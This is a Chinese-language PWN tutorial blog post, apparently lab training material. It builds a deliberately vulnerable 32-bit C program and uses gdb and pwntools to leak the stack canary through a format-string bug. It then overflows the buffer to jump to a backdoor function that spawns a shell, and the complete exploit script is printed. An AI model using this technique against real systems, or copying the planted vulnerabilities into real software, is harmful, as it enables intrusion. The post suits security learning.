当前位置: 首页 > news >正文

PWN基础-利用格式化字符串漏洞泄露canary结合栈溢出getshell

测试源码:

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);printf(str);read(0, str, 0x50);
}
int main()
{func();return 0;
}

编译,开启 canary 保护,关闭 pie 保护:

gcc -no-pie -fstack-protector-all -m32 canary.c -o canary

检查确认一下:

checksec canary

gdb 动调,看一下 func 函数:

disass func

写入 canary 的位置:

0x08048540 <+18>:	mov    eax,gs:0x14
0x08048546 <+24>:	mov    DWORD PTR [ebp-0xc],eax

我们需要利用 printf 函数泄露 canary 地址,先在 printf 函数处下断点:

b *0x08048565

然后运行,期间会经过第一个 read 函数,随便输入:RRR  

查看当前栈内容:

stack 0x20

根据前面的代码,我们知道 canary 在 ebp-0xc 位置,使用 p 和 x 命令看一下:

p $ebp-0xc 
x $ebp-0xc 

p 只显示了地址,x 还显示了地址处的内容

canary 所在地址为 0xffffcffc,内容为 0xe8ac1700

我们在栈上面找一下 0xe8ac1700

距离栈顶偏移值为 15

下面我们重新运行了一下,来到输入位置,利用格式化字符串漏洞,输入:

%15$p

重新运行 canary 值会变:现在是 0x37133900

继续往下走,可以发现打印出的值就是 canary 的值

再看一下 canary 距离我们输入字符串的距离,偏移是 8 

这部分后面需要填充为垃圾数据

先写个 exp 泄露 canary:

from pwn import *
io = process('./canary')
io.sendline('%15$p') # 发送泄露 canary 的内容,也就是前面的 %15$p
canary = io.recv() #接收 canary 值
print(canary)  #打印canary

但是测试发现,输出结果多了一个换行符

使用 python 切片处理一下:

from pwn import *
io = process('./canary')
io.sendline('%15$p') 
canary = io.recv()[:10]
print(canary) 

没有问题

接下来我们看一下 canary 到 main 函数的返回地址的偏移:

偏移是 3 

最后再看一下返回地址,也就是我们后门函数 exploit 的地址:

disass exploit
0x080484e6

完整 exp:

from pwn import *
io = process('./canary')
io.sendline('%15$p') 
canary = io.recv()[:10]
canary = int(canary,16)
print(canary) 
canary_offset = 8*4
ret_offset = 3*4
exp_addr = 0x080484e6
payload = b'a'*canary_offset + p32(canary) + b'a'*ret_offset + p32(exp_addr)
io.sendline(payload)
io.interactive()

http://www.xdnf.cn/news/170767.html

相关文章:

  • 神经网络笔记 - 神经网络
  • 东田数码科技前端面经
  • 运算符分为哪几类?哪些运算符常用作判断?简述运算符的优先级
  • 电池的寿命
  • 参数规模:衡量大语言模型体量的标尺
  • 【Java面试笔记:进阶】23.请介绍类加载过程,什么是双亲委派模型?
  • NEPCON China 2025 | 具身智能时代来临,灵途科技助力人形机器人“感知升级”
  • Spring MVC深度解析:从原理到实战
  • 进程与线程-----C语言经典题目(8)
  • Net版本Spire.doc 最新版去水印
  • OpenCV进阶操作:图像金字塔
  • Django(快速上手版)
  • IDEA中使用Git
  • 物联网相关
  • 【仿Mudou库one thread per loop式并发服务器实现】服务器边缘测试+性能测试
  • 强制缓存vs协商缓存
  • pycharm无法创建venv虚拟环境
  • Web安全:威胁解析与综合防护体系构建
  • 快速排序及其在Unity游戏开发中的应用
  • Node.js API 安全的主要策略:最佳实践
  • 面试记录1-春招补录0427
  • 【Hive入门】Hive基础操作与SQL语法:DML操作全面解析
  • FastAPI + Redis Pub/Sub + WebSocket 组合解决方案的详细介绍
  • Reverse-WP记录6
  • Taro on Harmony :助力业务高效开发纯血鸿蒙应用
  • 云计算市场的重新分类研究
  • 华为 MRAG:多模态检索增强生成技术论文阅读
  • 用Node.js施展文档比对魔法:轻松实现Word文档差异比较小工具,实现Word差异高亮标注(附完整实战代码)
  • 如何删除Google Chrome中的所有历史记录【一键清除】
  • 关于Android Studio的Gradle各项配置2